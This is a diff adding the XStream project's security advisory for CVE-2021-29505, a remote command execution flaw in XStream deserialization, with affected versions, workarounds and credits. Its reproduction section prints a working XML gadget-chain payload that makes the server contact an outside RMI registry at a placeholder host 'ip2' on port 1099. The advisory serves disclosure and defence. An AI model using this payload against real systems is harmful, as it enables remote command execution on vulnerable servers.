|
| 1 | +<html> |
| 2 | +<!-- |
| 3 | + Copyright (C) 2021 XStream committers. |
| 4 | + All rights reserved. |
| 5 | + |
| 6 | + The software in this package is published under the terms of the BSD |
| 7 | + style license a copy of which has been included with this distribution in |
| 8 | + the LICENSE.txt file. |
| 9 | + |
| 10 | + Created on 8. May 2021 by Joerg Schaible |
| 11 | + --> |
| 12 | + <head> |
| 13 | + <title>CVE-2021-29505</title> |
| 14 | + </head> |
| 15 | + <body> |
| 16 | + |
| 17 | + <h2 id="vulnerability">Vulnerability</h2> |
| 18 | + |
| 19 | + <p>CVE-2021-29505: XStream is vulnerable to a Remote Command Execution attack.</p> |
| 20 | + |
| 21 | + <h2 id="affected_versions">Affected Versions</h2> |
| 22 | + |
| 23 | + <p>All versions until and including version 1.4.16 are affected, if using the version out of the box. No user is |
| 24 | + affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security |
| 25 | + framework</a> with a whitelist limited to the minimal required types.</p> |
| 26 | + |
| 27 | + <h2 id="description">Description</h2> |
| 28 | + |
| 29 | + <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects. |
| 30 | + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed |
| 31 | + input stream and replace or inject objects, that result in execution of a local command on the server.</p> |
| 32 | + |
| 33 | + <h2 id="reproduction">Steps to Reproduce</h2> |
| 34 | + |
| 35 | + <p>Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and |
| 36 | + unmarshal it again with XStream:</p> |
| 37 | +<div class="Source XML"><pre><java.util.PriorityQueue serialization='custom'> |
| 38 | + <unserializable-parents/> |
| 39 | + <java.util.PriorityQueue> |
| 40 | + <default> |
| 41 | + <size>2</size> |
| 42 | + </default> |
| 43 | + <int>3</int> |
| 44 | + <javax.naming.ldap.Rdn_-RdnEntry> |
| 45 | + <type>12345</type> |
| 46 | + <value class='com.sun.org.apache.xpath.internal.objects.XString'> |
| 47 | + <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: <none></m__obj> |
| 48 | + </value> |
| 49 | + </javax.naming.ldap.Rdn_-RdnEntry> |
| 50 | + <javax.naming.ldap.Rdn_-RdnEntry> |
| 51 | + <type>12345</type> |
| 52 | + <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> |
| 53 | + <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> |
| 54 | + <parsedMessage>true</parsedMessage> |
| 55 | + <soapVersion>SOAP_11</soapVersion> |
| 56 | + <bodyParts/> |
| 57 | + <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> |
| 58 | + <attachmentsInitialized>false</attachmentsInitialized> |
| 59 | + <multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> |
| 60 | + <soapPart/> |
| 61 | + <mm> |
| 62 | + <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> |
| 63 | + <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> |
| 64 | + <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'> |
| 65 | + <names> |
| 66 | + <string>aa</string> |
| 67 | + <string>aa</string> |
| 68 | + </names> |
| 69 | + <ctx> |
| 70 | + <environment/> |
| 71 | + <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'> |
| 72 | + <java.rmi.server.RemoteObject> |
| 73 | + <string>UnicastRef</string> |
| 74 | + <string>ip2</string> |
| 75 | + <int>1099</int> |
| 76 | + <long>0</long> |
| 77 | + <int>0</int> |
| 78 | + <short>0</short> |
| 79 | + <boolean>false</boolean> |
| 80 | + </java.rmi.server.RemoteObject> |
| 81 | + </registry> |
| 82 | + <host>ip2</host> |
| 83 | + <port>1099</port> |
| 84 | + </ctx> |
| 85 | + </candidates> |
| 86 | + </aliases> |
| 87 | + </it> |
| 88 | + </mm> |
| 89 | + </multiPart> |
| 90 | + </sm> |
| 91 | + </message> |
| 92 | + </value> |
| 93 | + </javax.naming.ldap.Rdn_-RdnEntry> |
| 94 | + </java.util.PriorityQueue> |
| 95 | +</java.util.PriorityQueue> |
| 96 | +</pre></div> |
| 97 | +<div class="Source Java"><pre>XStream xstream = new XStream(); |
| 98 | +xstream.fromXML(xml); |
| 99 | +</pre></div> |
| 100 | + |
| 101 | + <p>As soon as the XML gets unmarshalled, the payload gets executed and the command is executed on the host.</p> |
| 102 | + |
| 103 | + <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p> |
| 104 | + |
| 105 | + <h2 id="impact">Impact</h2> |
| 106 | + |
| 107 | + <p>The vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by |
| 108 | + manipulating the processed input stream.</p> |
| 109 | + |
| 110 | + <h2 id="workarounds">Workarounds</h2> |
| 111 | + |
| 112 | + <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p> |
| 113 | + |
| 114 | + <h2 id="credits">Credits</h2> |
| 115 | + |
| 116 | + <p>V3geB1rd, white hat hacker from Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.</p> |
| 117 | + |
| 118 | + </body> |
| 119 | + </html> |
0 commit comments